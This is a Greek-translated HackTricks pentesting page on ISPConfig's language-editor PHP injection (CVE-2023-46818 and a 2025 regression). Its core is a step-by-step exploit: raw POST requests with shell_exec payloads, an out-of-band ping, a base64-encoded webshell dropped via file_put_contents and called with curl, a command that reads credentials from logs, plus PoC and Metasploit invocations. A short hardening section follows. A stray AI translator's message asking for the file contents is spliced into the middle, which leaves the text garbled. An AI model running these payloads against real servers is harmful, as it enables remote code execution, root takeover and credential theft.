ISPConfig
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση
Το ISPConfig είναι ένας ανοιχτού κώδικα πίνακας ελέγχου φιλοξενίας. Οι παλαιότερες εκδόσεις 3.2.x περιλάμβαναν μια λειτουργία επεξεργασίας αρχείων γλώσσας που, όταν ενεργοποιούνταν για τον super administrator, επέτρεπε arbitrary PHP code injection μέσω μιας κακομορφοποιημένης εγγραφής μετάφρασης. Αυτό μπορεί να οδηγήσει σε RCE στο πλαίσιο του web server και, ανάλογα με τον τρόπο εκτέλεσης της PHP, σε privilege escalation.
Βασικές προεπιλεγμένες διαδρομές:
- Το web root βρίσκεται συχνά στο
/var/www/ispconfigόταν εξυπηρετείται μεphp -Sή μέσω Apache/nginx. - Το Admin UI είναι προσβάσιμο στο HTTP(S) vhost (μερικές φορές δεσμεύεται μόνο στο localhost· χρησιμοποίησε SSH port-forward αν χρειαστεί).
Συμβουλή: Αν το panel είναι δεσμευμένο τοπικά (π.χ. 127.0.0.1:8080), προωθήστε το:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Συνδεθείτε με τον ενσωματωμένο λογαριασμό superadmin
admin(άλλοι ρόλοι δεν επηρεάζονται σύμφωνα με τον προμηθευτή) - Ο επεξεργαστής γλώσσας πρέπει να είναι ενεργοποιημένος:
admin_allow_langedit=yesστο/usr/local/ispconfig/security/security_settings.ini - Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Χειροκίνητη ροή εκμετάλλευσης
- Open/create a language file to obtain CSRF tokens
Στείλτε ένα πρώτο POST για να αρχικοποιήσετε τη φόρμα και να αναλύσετε τα πεδία CSRF από την απάντηση HTML (csrf_id, csrf_key). Παράδειγμα request path: /admin/language_edit.php.
- Inject PHP via records[] and save
Υποβάλετε ένα δεύτερο POST συμπεριλαμβάνοντας τα πεδία CSRF και ένα κακόβουλο translation record. Minimal command-execution probes:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Δοκιμή Out-of-band (παρακολούθηση ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Γράψτε αρχεία και τοποθετήστε webshell
Χρησιμοποιήστε file_put_contents για να δημιουργήσετε ένα αρχείο σε διαδρομή προσβάσιμη από το web (π.χ., admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Στη συνέχεια γράψτε ένα απλό webshell χρησιμοποιώντας base64 για να αποφύγετε μη επιτρεπτούς χαρακτήρες στο σώμα του POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
I don’t have the file contents. Please paste the markdown from src/network-services-pentesting/pentesting-web/ispconfig.md (or the portion you want translated), and I’ll translate it to Greek following your rules.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Εάν το PHP εκτελείται ως root (π.χ. via php -S 127.0.0.1:8080 που ξεκίνησε από root), αυτό οδηγεί σε άμεσο root RCE. Διαφορετικά, αποκτάτε εκτέλεση κώδικα ως ο χρήστης του web server.
Υποτροπή 2025 (ISPConfig 3.3.0 / 3.3.0p1)
Το σφάλμα του language editor επανεμφανίστηκε στην 3.3.0/3.3.0p1 και διορθώθηκε στην 3.3.0p2. Οι προϋποθέσεις παραμένουν αμετάβλητες (admin_allow_langedit και admin login). Το ίδιο patch επίσης επιδιόρθωσε ένα monitor XSS και αρχεία rotated logs με δικαιώματα ανάγνωσης για όλους.
Σημειώσεις:
- Στην έκδοση 3.3.0/3.3.0p1, αρχεία rotated logs με δικαιώματα ανάγνωσης για όλους υπό το
/usr/local/ispconfig/interface/log/μπορεί να leak διαπιστευτήρια εάν το debug logging ήταν ενεργοποιημένο:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Τα βήματα του Exploit ταιριάζουν με το CVE-2023-46818; η 3.3.0p2 προσθέτει επιπλέον ελέγχους πριν την επεξεργασία της γλώσσας.
Python PoC
Ένα έτοιμο προς χρήση exploit αυτοματοποιεί το token handling και την payload delivery:
Παράδειγμα εκτέλεσης:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (κυκλοφόρησε Ιούλιος 2025)
Rapid7 πρόσθεσε exploit/linux/http/ispconfig_lang_edit_php_code_injection, το οποίο μπορεί να ενεργοποιήσει αυτόματα admin_allow_langedit εάν ο παρεχόμενος λογαριασμός διαχειριστή έχει δικαιώματα system-config.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
Το module γράφει ένα payload κωδικοποιημένο σε base64 μέσω του records[] και το εκτελεί, παρέχοντας PHP Meterpreter ή custom payload.
Σκληροποίηση
- Αναβαθμίστε σε 3.2.11p1 ή νεότερη για το αρχικό ζήτημα, και σε 3.3.0p2 ή νεότερη για την υποτροπή του 2025.
- Απενεργοποιήστε τον επεξεργαστή γλώσσας εκτός αν είναι απόλυτα απαραίτητος:
admin_allow_langedit=no
- Αποφύγετε να εκτελείτε το panel ως root; ρυθμίστε το PHP-FPM ή τον web server να μειώνει τα προνόμια
- Επιβάλετε ισχυρή αυθεντικοποίηση για τον ενσωματωμένο λογαριασμό
admin
Αναφορές
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


